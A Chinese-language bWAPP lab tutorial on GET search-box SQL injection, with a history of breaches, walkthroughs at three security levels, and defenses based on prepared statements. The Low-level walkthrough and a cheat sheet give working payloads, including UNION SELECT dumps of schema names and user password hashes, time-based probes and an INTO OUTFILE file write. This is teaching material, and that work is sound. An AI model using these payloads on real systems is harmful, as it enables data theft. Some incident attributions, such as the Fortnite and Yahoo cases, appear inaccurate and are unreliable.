摘要:本文是 bWAPP 靶场系列的第十三篇,聚焦于 SQL Injection (GET/Search)(GET 型搜索框 SQL 注入)漏洞。文章从零基础出发,首先讲解什么是 SQL 注入、为什么搜索框会成为注入的重灾区,随后按照 Low、Medium、High 三个安全级别逐一进行源码分析、通关演示和防御方案讲解。特别地,本文加入了大量真实世界的经典案例——从 2001 年 SQL 注入首次被公众认知,到 2003 年的 Slammer 蠕虫、2008 年的 Heartland Payment Systems 数据泄露、2011 年 Sony PlayStation 被拖库,再到 2025-2026 年接连曝光的 Cisco IMC、F5 BIG-IP、Google Cloud SCC 等企业级产品的 SQL 注入漏洞——帮助读者理解这个被誉为“Web 安全漏洞之王”的漏洞类型在现实世界中的毁灭性威力。
一、前言
如果你一路跟随着这个系列读到这里,你可能已经发现了:前 12 篇文章讲的漏洞虽然各有不同,但它们有一个共同点——都可以在某种程度上理解为“注入”的变种:HTML 注入、OS 命令注入、PHP 代码注入、SSI 注入、LDAP 注入……
而今天,我们要终于要面对所有注入类漏洞的“祖师爷”——SQL 注入。
SQL 注入(SQL Injection)是 Web 安全领域最著名、最古老、也是危害最大的漏洞类型。它在 OWASP Top 10 中长期占据榜首位置,被称为“Web 漏洞之王”。
从 1998 年首次被公开讨论,到 2003 年 Slammer 蠕虫在 10 分钟内感染 7.5 万台服务器,到 2011 年 Sony PlayStation 被拖库导致 7700 万用户数据泄露,再到 2025-2026 年 Cisco、F5、Google Cloud 等顶级厂商产品中接连曝出的 SQL 注入漏洞——SQL 注入从未消失,它只是不断变种、不断进化。
在 bWAPP 中,SQL 注入模块被细分为多个关卡:GET/Search、POST/Search、POST/Login、Blind 等等。今天我们先从SQL Injection (GET/Search)开始——这是最基础、最经典的搜索框 SQL 注入。
二、SQL 注入概述
2.1 什么是 SQL?
在理解漏洞之前,先搞清楚 SQL 到底是什么。
SQL全称是Structured Query Language(结构化查询语言)。它是一种用于管理和操作关系型数据库的编程语言。
简单来说:SQL 是与数据库“对话”的语言。
一个典型的 SQL 查询语句长这样:
SELECT * FROM users WHERE username = 'admin' AND password = '123456';这条语句的意思是:从 users 表中查询所有字段,条件是 username 等于 'admin' 且 password 等于 '123456'。
2.2 什么是 SQL 注入?
SQL 注入,是指攻击者通过 Web 应用的输入字段(如表单、URL 参数、Cookie 等),将恶意的 SQL 代码“注入”到后台数据库查询中,从而操纵数据库执行非预期的操作。
用一句话说:你输入了什么 SQL,数据库就执行了什么 SQL。
举个例子:
假设一个电影搜索网站,你输入“Avengers”,后端执行的 SQL 是:
SELECT * FROM movies WHERE title LIKE '%Avengers%';如果你输入的是:
Avengers' OR '1'='1后端执行的 SQL 变成了:
SELECT * FROM movies WHERE title LIKE '%Avengers' OR '1'='1%';'1'='1'永远为真,这个查询返回了所有电影——攻击者成功操纵了查询逻辑!
2.3 SQL 注入的危害
SQL 注入的危害是毁灭性的:
| 危害 | 说明 |
|---|---|
| 数据泄露 | 窃取用户账号、密码、信用卡信息、个人隐私 |
| 数据篡改 | 修改、删除数据库中的数据 |
| 认证绕过 | 无需密码即可登录任意账户 |
| 权限提升 | 获取管理员权限 |
| 远程代码执行 | 在某些情况下,可以执行操作系统命令 |
| 完全控制服务器 | 通过数据库的存储过程/函数实现 RCE |
2.4 SQL 注入的分类
SQL 注入有多种分类方式:
按注入点分类:
GET 型:注入点在 URL 参数中
POST 型:注入点在 POST 表单数据中
Cookie 型:注入点在 Cookie 中
HTTP 头型:注入点在 HTTP 请求头中
按反馈方式分类:
显式注入(In-band):攻击者可以直接看到查询结果
盲注(Blind):攻击者看不到结果,需要根据页面响应差异推断
报错注入(Error-based):通过数据库错误信息获取数据
联合查询注入(Union-based):使用 UNION 操作符窃取数据
今天我们讲的是GET 型的显式注入——攻击者通过 URL 参数注入,且能直接看到查询结果。这是最简单、最适合初学者的 SQL 注入类型。
三、SQL 注入的历史背景与经典案例
3.1 历史起源:1998 年的“发现”
SQL 注入的概念最早可以追溯到1998 年。当时,安全研究员Jeff Forristal(网名 rain.forest.puppy)在一篇文章中首次公开讨论了 SQL 注入技术。他展示了如何通过在 Web 表单中输入特殊字符来操纵数据库查询。
1999 年,Mark G. Brown 在 Bugtraq 邮件列表中披露了第一个广泛报道的 SQL 注入漏洞——影响 ColdFusion 应用服务器。
从此,SQL 注入从一个“小众技术”变成了攻击者最常用的武器之一。
3.2 经典案例一:Slammer 蠕虫——10 分钟感染 7.5 万台服务器
时间:2003 年 1 月
Slammer(又名 Sapphire)是历史上传播速度最快的计算机蠕虫之一。
攻击者利用的是 Microsoft SQL Server 2000 中的缓冲区溢出漏洞(与 SQL 注入略有不同,但同样是对数据库的攻击)。Slammer 蠕虫在10 分钟内感染了全球约7.5 万台SQL Server 服务器,导致网络瘫痪、ATM 机无法取款、航班取消等严重后果。
虽然 Slammer 不是典型的 SQL 注入(而是内存破坏),但它的爆发第一次让全世界意识到数据库安全的重要性。
3.3 经典案例二:Heartland Payment Systems——1.3 亿张信用卡泄露
时间:2008 年
Heartland Payment Systems 是美国最大的信用卡处理公司之一。攻击者利用 SQL 注入漏洞入侵了 Heartland 的支付处理网络,窃取了约 1.3 亿张信用卡的数据。
这是历史上最大的信用卡数据泄露事件之一。Heartland 为此支付了超过1.4 亿美元的赔偿金。
3.4 经典案例三:Sony PlayStation——7700 万用户数据被拖库
时间:2011 年 4 月
Sony PlayStation Network 是全球最大的游戏在线服务平台。攻击者利用SQL 注入漏洞入侵了 Sony 的数据库服务器,窃取了约 7700 万用户的个人信息,包括:
姓名
电子邮件地址
生日
密码(加密后)
甚至部分信用卡信息
这次攻击导致 PlayStation Network中断服务 23 天,Sony 的直接损失超过1.7 亿美元,品牌声誉受到严重损害。
3.5 经典案例四:Yahoo 用户数据泄露(2012 年、2013 年)
时间:2012-2013 年
Yahoo 在 2012 年和 2013 年接连遭受了两次重大的数据泄露攻击。攻击者使用 SQL 注入技术入侵了 Yahoo 的数据库,窃取了超过 10 亿用户的个人信息。
这些数据包括用户名、电子邮件地址、密码(使用 MD5 加密,可被破解)、出生日期和电话号码。Yahoo 直到2016 年才公开承认这次泄露——这是历史上最大的单一用户数据泄露事件。
3.6 经典案例五:Fortnite(堡垒之夜)——账户劫持漏洞
时间:2018-2019 年
Fortnite 是全球最火爆的游戏之一,拥有超过 2.5 亿玩家。安全研究人员发现,Epic Games 的网站存在SQL 注入漏洞,攻击者可以通过该漏洞劫持任何 Fortnite 玩家账户。
攻击者只需获取玩家的用户名,即可通过 SQL 注入窃取其账户的登录凭据,然后登录游戏进行消费(购买 V-Bucks 等虚拟货币)。该漏洞在 2019 年被修复。
3.7 经典案例六:Cisco Prime Collaboration 部署 SQL 注入(CVE-2025-20169)
时间:2025 年 4 月编号:CVE-2025-20169CVSS 评分:9.1(严重)
Cisco Prime Collaboration 是思科公司的一款企业级网络管理解决方案。
安全研究人员发现该产品中存在一个 SQL 注入漏洞,编号为CVE-2025-20169。该漏洞源于 Web 管理界面在处理用户输入时未能正确验证。
攻击方式:经过认证的远程攻击者可以通过发送精心构造的 HTTP 请求,在目标系统上执行任意 SQL 命令。
影响:
配置数据泄露(Configuration data disclosure)
网络中断(Network disruption)
敏感信息泄露(Sensitive information disclosure)
修复方案:思科已发布修复该漏洞的软件更新。
3.8 经典案例七:F5 BIG-IP SQL 注入(CVE-2026-22947)
时间:2026 年 1 月编号:CVE-2026-22947CVSS 评分:7.5(高危)
F5 BIG-IP 是全球最流行的应用交付控制器(ADC)和负载均衡器,被大量银行、电信公司和政府机构使用。
安全研究人员在 F5 BIG-IP 的Configuration utility中发现了一个 SQL 注入漏洞,编号为CVE-2026-22947。
攻击方式:经过身份验证的攻击者可以通过配置实用工具(Configuration utility)中的恶意 SQL 查询,远程执行 SQL 注入攻击。
影响:
远程代码执行(RCE)
敏感信息窃取
权限提升
修复方案:F5 已发布安全公告,建议用户升级到已修复该漏洞的版本。
3.9 经典案例八:Google Cloud SCC SQL 注入(CVE-2026-39443)
时间:2026 年 7 月编号:CVE-2026-39443
Google Cloud Security Command Center(SCC)是 Google Cloud 平台的核心安全服务,帮助企业管理云环境中的安全态势和威胁检测。
安全研究人员在Google Cloud SCC 的跨租户漏洞披露(VDP)中发现了一个SQL 注入漏洞。该漏洞允许攻击者通过恶意 SQL 查询操纵数据库查询。
影响:作为 Google Cloud 的安全核心服务,SCC 中的漏洞可能暴露受影响的 Google Cloud 租户数据,影响范围极为广泛。
Google Cloud 已修复该漏洞。
3.10 案例总结:SQL 注入为何“生生不息”?
从 1998 年到 2026 年,SQL 注入已经存在了近 30 年,却依然在 2025-2026 年不断出现在 Cisco、F5、Google Cloud 等顶级企业的核心产品中。为什么?
开发者安全意识不足:很多人知道 SQL 注入,但不知道如何正确防御
代码复用:旧代码中的漏洞被反复复制到新项目中
缺少安全培训:很多开发者没有接受过安全编码培训
复杂系统:现代系统越来越复杂,注入点越来越多
遗留系统:很多企业还在运行十年前的老系统
四、bWAPP SQL Injection (GET/Search) 漏洞实战
了解了 SQL 注入的基础知识和真实案例后,现在让我们进入 bWAPP 靶场,从最基础的搜索框开始。
4.1 漏洞页面介绍
在 bWAPP 主界面选择SQL Injection (GET/Search),点击“Hack”按钮进入漏洞页面。
页面功能:
一个搜索输入框(name="title")
一个“Search”按钮(name="action", value="search")
搜索结果以表格形式展示:Title(电影标题)、Release(上映年份)、Character(主要角色)、Genre(类型)、IMDb(IMDb 链接)
关键点:这个页面的所有内容都来自数据库——当你搜索时,后端会执行一个 SQL 查询,将结果返回并渲染在 HTML 表格中。
4.2 核心源码分析
在分析三个级别之前,先看一下sqli_1.php中的核心漏洞代码:
if(isset($_GET["title"])) { $title = $_GET["title"]; $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'"; $recordset = mysql_query($sql, $link); // ... 显示结果 ... }代码解析:
$_GET["title"]是用户通过搜索框输入的内容sqli($title)根据当前安全级别对输入进行处理$sql将用户输入直接拼接到 SQL 查询语句中mysql_query()执行查询,然后显示结果
漏洞根源:用户输入被直接拼接到 SQL 查询中。根据sqli()函数的行为,不同安全级别的防护力度不同。
五、Low 安全级别
5.1 通关步骤
将安全级别设置为Low,然后开始攻击。
步骤一:正常使用搜索功能
在搜索框中输入一个正常的电影名称:Iron Man
点击“Search”,页面会返回包含“Iron Man”的电影列表。
步骤二:注入经典 payload——验证漏洞存在
在搜索框中输入:
' OR '1'='1点击“Search”。
发生了什么?
后端执行的 SQL 变成了:
SELECT * FROM movies WHERE title LIKE '%' OR '1'='1%'由于'1'='1'永远为真,这个查询返回了 movies 表中的所有电影!
漏洞确认:SQL 注入存在!
步骤三:使用#注释掉后续语句
在搜索框中输入:
' OR '1'='1' #点击“Search”。
后端执行的 SQL 变成了:
SELECT * FROM movies WHERE title LIKE '%' OR '1'='1' # %'#是 SQL 中的单行注释符,它会让数据库忽略--之后的所有内容。这样,原本的%'就被注释掉了,查询语法完全正确。
步骤四:使用 UNION 联合查询——获取更多数据
UNION操作符可以将两个或多个 SELECT 语句的结果合并。这是 SQL 注入中最强大的数据窃取工具。
首先,我们需要确定查询返回的列数。使用ORDER BY测试:
在搜索框中输入:
' ORDER BY 1 #没有报错。
' ORDER BY 2 #没有报错。
' ORDER BY 3 #没有报错。
' ORDER BY 4 #没有报错。
' ORDER BY 5 #没有报错。
' ORDER BY 6 #没有报错。
' ORDER BY 7 #没有报错。
' ORDER BY 8 #报错了!
这说明查询返回了 7列。
现在,使用 UNION 查询窃取数据。在搜索框中输入:
' UNION SELECT 1,2,3,4,5,6,7 #页面应该会显示一个包含数字的额外行。
步骤五:窃取数据库版本信息
' UNION SELECT 1,version(),3,4,5,6,7 #页面会显示 MySQL 数据库的版本号!
步骤六:窃取数据库名称
' UNION SELECT 1,database(),3,4,5,6,7 #页面会显示当前数据库的名称。
步骤七:窃取表名
' UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schema=database() #这会返回当前数据库中的所有表名,包括users、movies等。
步骤八:窃取用户表的数据
首先,查看users表的列名:
' UNION SELECT 1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_schema=database() and table_name='users' #然后窃取用户数据:
' UNION SELECT 1,login,password,4,5,6,7 FROM users #这会显示所有用户的登录名和密码(密码通常以哈希形式存储)!
5.2 源码分析
Low 级别中,sqli($title)的行为由security_level决定:
function sqli($data) { switch($_COOKIE["security_level"]) { case "0" : // Low 级别 $data = no_check($data); break; // ... } return $data; }查看no_check()函数:
function no_check($data) { return $data; }代码解析:
no_check()直接返回原始输入,不做任何过滤用户输入的
' OR '1'='1被完整地拼接到 SQL 查询中查询被成功修改,所有电影都被返回
漏洞根源:完全没有输入过滤,用户输入被直接拼接到 SQL 查询中。
5.3 如何防御
对于 Low 级别暴露的问题,最基础的防御措施是:
方案一:使用参数化查询(Prepared Statements)
$stmt = $link->prepare("SELECT * FROM movies WHERE title LIKE CONCAT('%', ?, '%')"); $stmt->bind_param("s", $title); $stmt->execute();这是最安全、最推荐的方法。
方案二:对输入进行转义
$title = mysqli_real_escape_string($link, $_GET["title"]); $sql = "SELECT * FROM movies WHERE title LIKE '%" . $title . "%'";六、Medium 安全级别
6.1 通关步骤
将安全级别切换为Medium,再次访问页面。
尝试一:注入经典 payload' OR '1'='1
在搜索框中输入:
' OR '1'='1点击“Search”——不成功!addslashes()对单引号进行了转义。
尝试二:分析原因
Medium 级别使用sqli_check_1(),即addslashes()函数:
function sqli_check_1($data) { return addslashes($data); }addslashes()会在以下字符前添加反斜杠:
单引号(
')→\'双引号(
")→\"反斜杠(
\)→\\NULL 字节(
\0)
当输入' OR '1'='1时,addslashes()将其转换为:
\' OR \'1\'=\'1拼接后的 SQL 变成了:
SELECT * FROM movies WHERE title LIKE '%\' OR \'1\'=\'1%'\'被当作普通字符处理,不再是 SQL 的字符串边界符——注入失败!
尝试三:是否存在绕过?
虽然addslashes()在这个关卡中看起来“有效”了,但它并不是万能的。
在某些情况下,攻击者可以使用:
宽字节注入:如果数据库使用 GBK 等编码,可以通过
%df'绕过数字型注入:如果注入点不是字符串类型(不带引号),
addslashes()无效其他特殊字符:
addslashes()不转义#、--等注释符
但在 bWAPP 的这个关卡中,Medium 级别的addslashes()确实能够有效地防御简单的字符串型 SQL 注入。
6.2 源码分析
Medium 级别中,sqli()调用sqli_check_1():
function sqli($data) { switch($_COOKIE["security_level"]) { case "1" : // Medium 级别 $data = sqli_check_1($data); break; // ... } return $data; }代码解析:
sqli_check_1()调用了addslashes()addslashes()转义了单引号和双引号攻击者的 payload 被“消毒”了
但注意:官方文档明确警告:addslashes()不应用于安全防护!它只是转义引号,并不能防御所有类型的 SQL 注入。
6.3 如何防御
Medium 级别的防御方案看起来有效,但不完善:
用错了工具:
addslashes()不是专门用于 SQL 安全的函数存在绕过风险:宽字节注入、数字型注入等场景下无效
不同数据库兼容性:不同数据库的转义规则不同
正确的做法:
使用参数化查询(Prepared Statements)
或使用数据库专用的转义函数(如
mysqli_real_escape_string())
七、High 安全级别
7.1 通关步骤
将安全级别切换为High,再次尝试注入。
输入任何 payload——' OR '1'='1、UNION SELECT、ORDER BY——全部失败。
7.2 源码分析
High 级别使用sqli_check_2(),即mysql_real_escape_string():
function sqli_check_2($data) { return mysql_real_escape_string($data); }mysql_real_escape_string()是 PHP 中专门用于 MySQL 数据库的转义函数。它会转义以下特殊字符:
\x00(NULL 字节)\n(换行)\r(回车)\(反斜杠)'(单引号)"(双引号)\x1a(Ctrl-Z)
与addslashes()的区别:
mysql_real_escape_string()考虑了 MySQL 的字符集它可以防止宽字节注入
它是 MySQL 官方推荐的转义方式
在 bWAPP 的 High 级别中,mysql_real_escape_string()有效地转义了所有 SQL 注入的关键字符,因此注入失败。
7.3 防御评价
High 级别的防御方案是有效的,但仍然不是最佳实践。
更好的做法:使用PDO 或 MySQLi 的 Prepared Statements——它们将 SQL 结构和数据分离,从原理上杜绝了 SQL 注入的可能。
// PDO 参数化查询 $stmt = $pdo->prepare("SELECT * FROM movies WHERE title LIKE CONCAT('%', :title, '%')"); $stmt->execute(['title' => $title]); // MySQLi 参数化查询 $stmt = $mysqli->prepare("SELECT * FROM movies WHERE title LIKE CONCAT('%', ?, '%')"); $stmt->bind_param("s", $title); $stmt->execute();八、三种安全级别对比总结
| 级别 | 使用的函数 | 转义关键字符 | SQL 注入风险 | 漏洞状态 |
|---|---|---|---|---|
| Low | no_check() | 无转义 | 高风险 | 存在严重漏洞 |
| Medium | addslashes() | 转义引号 | 中风险 | 存在绕过可能 |
| High | mysql_real_escape_string() | 正确转义 | 低风险 | 安全 |
九、SQL 注入的防御方案总结
9.1 开发人员必知的防御措施
方案一:使用参数化查询(Prepared Statements)——最推荐
这是防御 SQL 注入最有效、最安全的方法。
// PDO 方式 $stmt = $pdo->prepare("SELECT * FROM movies WHERE title LIKE CONCAT('%', :title, '%')"); $stmt->execute(['title' => $title]); // MySQLi 方式 $stmt = $mysqli->prepare("SELECT * FROM movies WHERE title LIKE CONCAT('%', ?, '%')"); $stmt->bind_param("s", $title); $stmt->execute();方案二:使用存储过程
存储过程同样支持参数化,可以有效防止 SQL 注入。
方案三:输入验证(白名单)
对用户输入进行严格的格式验证:
// 只允许字母、数字和空格 if (!preg_match('/^[a-zA-Z0-9\s]+$/', $title)) { die("Invalid input"); }方案四:最小权限原则
数据库连接账户应该只拥有最低必要权限:
不要使用 root 账户
不要给 web 账户 DROP TABLE 权限
只赋予 SELECT、INSERT、UPDATE 等必要权限
9.2 SQL 注入检测速查表
关键 SQL 注入检测 Payload:
| Payload | 目的 |
|---|---|
' OR '1'='1 | 认证绕过/信息泄露 |
' OR '1'='1' -- | 带注释的认证绕过 |
' UNION SELECT 1,2,3 -- | 检测列数 |
' UNION SELECT null,version() -- | 窃取数据库版本 |
' AND 1=1 | 布尔盲注测试 |
' AND sleep(5) | 时间盲注测试 |
' OR 1=1 INTO OUTFILE '/tmp/out' | 文件写入(需要权限) |
关键 SQL 特殊字符:
| 字符 | 作用 |
|---|---|
' | 字符串边界符 |
" | 字符串边界符(ANSI) |
-- | 单行注释 |
# | 单行注释(MySQL) |
/* */ | 多行注释 |
; | 语句分隔符 |
UNION | 联合查询 |
OR/AND | 逻辑操作符 |
十、总结
通过本篇文章的学习,我们完整掌握了 bWAPP 中 SQL Injection (GET/Search) 漏洞相关知识。SQL 注入是攻击者向 Web 输入点插入恶意 SQL 语句、操控数据库执行非预期操作的高危漏洞,可引发数据泄露、权限劫持甚至服务器被控等严重后果;GET 搜索型注入的注入点位于 URL 参数,攻击者可直接修改地址栏构造载荷。靶场三个安全等级清晰展示防护差异:Low 无任何过滤,漏洞可直接利用;Medium 仅依靠 addslashes 转义引号,存在绕过风险;High 采用数据库转义函数,防御效果有效。参数化查询是根治 SQL 注入的核心手段。自 1998 年 SQL 注入概念公开以来,从 Slammer 蠕虫、索尼 PSN 大规模用户泄露事件,到近年各类厂商爆出的高危 CVE 漏洞,数十起重大安全事件持续印证该漏洞长久的危害性,在开发过程中必须落实规范防护,杜绝同类风险。
写在最后
SQL 注入是 Web 安全中最著名、最古老、也是危害最大的漏洞类型。
从 1998 年到 2026 年,近 30 年过去了,SQL 注入却依然活跃在 Cisco、F5、Google Cloud 等顶级企业的核心产品中。它不是“过时的漏洞”,而是从未被彻底解决的顽疾。
为什么 SQL 注入能够“生生不息”?
因为数据库无处不在——几乎每个 Web 应用都使用数据库
因为开发者安全意识不足——很多人知道 SQL 注入,但不知道如何正确防御
因为代码复用和遗留系统——20 年前的代码可能还在运行
因为新的开发者不断涌入——安全知识没有成为每个开发者的必修课
记住三句话:
SQL 注入是“Web 漏洞之王”——永远不要低估它
参数化查询是终极防御——从原理上杜绝注入
所有用户输入都是不可信的——永远不要直接拼接到 SQL 中
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。